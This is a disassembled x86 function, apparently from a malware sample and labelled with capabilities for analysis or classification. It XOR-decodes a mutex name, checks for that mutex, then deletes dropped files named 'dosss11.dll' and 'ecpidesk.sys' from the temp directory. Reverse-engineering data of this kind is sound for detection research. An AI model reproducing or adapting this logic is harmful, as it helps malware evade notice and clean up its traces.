Function at 0x100083ec
Capabilities:
Delete file
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x488
and byte [ebp - 0x78], 0
push esi
push edi
mov dword [ebp - 0x14], ecx
push 0x18
xor eax, eax
pop ecx
lea edi, [ebp - 0x77]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x10], 0xa9
mov byte [ebp - 0xf], 0xd4
mov byte [ebp - 0xe], 0xad
mov byte [ebp - 0xd], 0xde
mov byte [ebp - 0xc], 0xd9
mov byte [ebp - 0xb], 0xa9
mov byte [ebp - 0xa], 0xa8
mov byte [ebp - 9], 0xdc
mov byte [ebp - 8], 0xaa
mov byte [ebp - 7], 0xd9
mov byte [ebp - 6], 0xaf
mov byte [ebp - 5], 0xd4
mov byte [ebp - 4], 0xa9
mov byte [ebp - 3], 0xdd
mov byte [ebp - 2], 0xa9
nop
xor edi, edi
xor eax, eax
mov cl, byte [ebp + eax - 0x10]
xor cl, 0xec
mov byte [ebp + eax - 0x78], cl
inc eax
cmp eax, 0xf
jl 0x1000844c
and byte [ebp + eax - 0x78], 0
lea eax, [ebp - 0x78]
push eax
push edi
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
nop
cmp eax, edi
jne 0x1000868c
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x464]
cmp eax, dword [esi + 0x460]
jge 0x1000868c
cmp dword [esi + 0x468], edi
jne 0x100084b2
push dword [esi + 0x470]
push dword [esi + 0x46c]
call fcn.10003bd3
pop ecx
mov dword [esi + 0x468], eax
pop ecx
nop
push edi
call fcn.1000b086
cmp eax, dword [esi + 0x468]
pop ecx
jge 0x100084c8
xor eax, eax
jmp 0x1000868f
mov dl, byte [0x1001c1a0]
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x27f]
mov byte [ebp - 0x280], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x17b]
mov byte [ebp - 0x17c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x17c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
nop
lea edi, [esi + 0x20]
push 1
lea eax, [ebp - 0x280]
push edi
push eax
lea eax, [ebp - 0x17c]
push 0x1001abc0
push eax
call fcn.10003abf
add esp, 0x14
nop
lea eax, [esi + 0x420]
push 1
push eax
lea eax, [ebp - 0x280]
push eax
push edi
mov edi, dword [ebp - 0x14]
lea ecx, [edi + 0xdf8]
call fcn.10002607
test eax, eax
mov dword [ebp + 8], eax
jne 0x10008648
push eax
lea eax, [ebp - 0x280]
push eax
mov ecx, edi
call fcn.10008297
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x280]
push eax
call esi
mov al, byte [0x1001c1a0]
push 0x40
mov byte [ebp - 0x384], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x383]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
nop
mov al, byte [0x1001c1a0]
push 0x40
mov byte [ebp - 0x488], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x487]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x17c]
push eax
call fcn.1000a990
pop ecx
nop
mov cl, byte [ebp + eax - 0x17d]
cmp cl, 0x5c
je 0x100085df
cmp cl, 0x2f
je 0x100085df
mov byte [ebp + eax - 0x17c], 0x5c
nop
and byte [ebp + eax - 0x17b], 0
nop
lea eax, [ebp - 0x17c]
push eax
lea eax, [ebp - 0x384]
push eax
call fcn.1000abd0
lea eax, [ebp - 0x384]
push str.dosss11.dll
push eax
call fcn.1000abe0
nop
lea eax, [ebp - 0x17c]
push eax
lea eax, [ebp - 0x488]
push eax
call fcn.1000abd0
lea eax, [ebp - 0x488]
push str.ecpidesk.sys
push eax
call fcn.1000abe0
add esp, 0x20
nop
lea eax, [ebp - 0x384]
push eax
call esi
nop
lea eax, [ebp - 0x488]
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
nop
jmp 0x10008682
mov eax, dword [esi + 0x464]
cmp eax, 4
jbe 0x10008656
push 4
pop eax
mov edi, dword [eax*4 + 0x1001ab90]
push 0
call fcn.1000b086
add eax, edi
pop ecx
mov dword [esi + 0x468], eax
nop
inc dword [esi + 0x464]
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
nop
xor eax, eax
cmp dword [ebp + 8], eax
sete al
jmp 0x1000868f
push 1
pop eax
pop edi
pop esi
leave
ret 4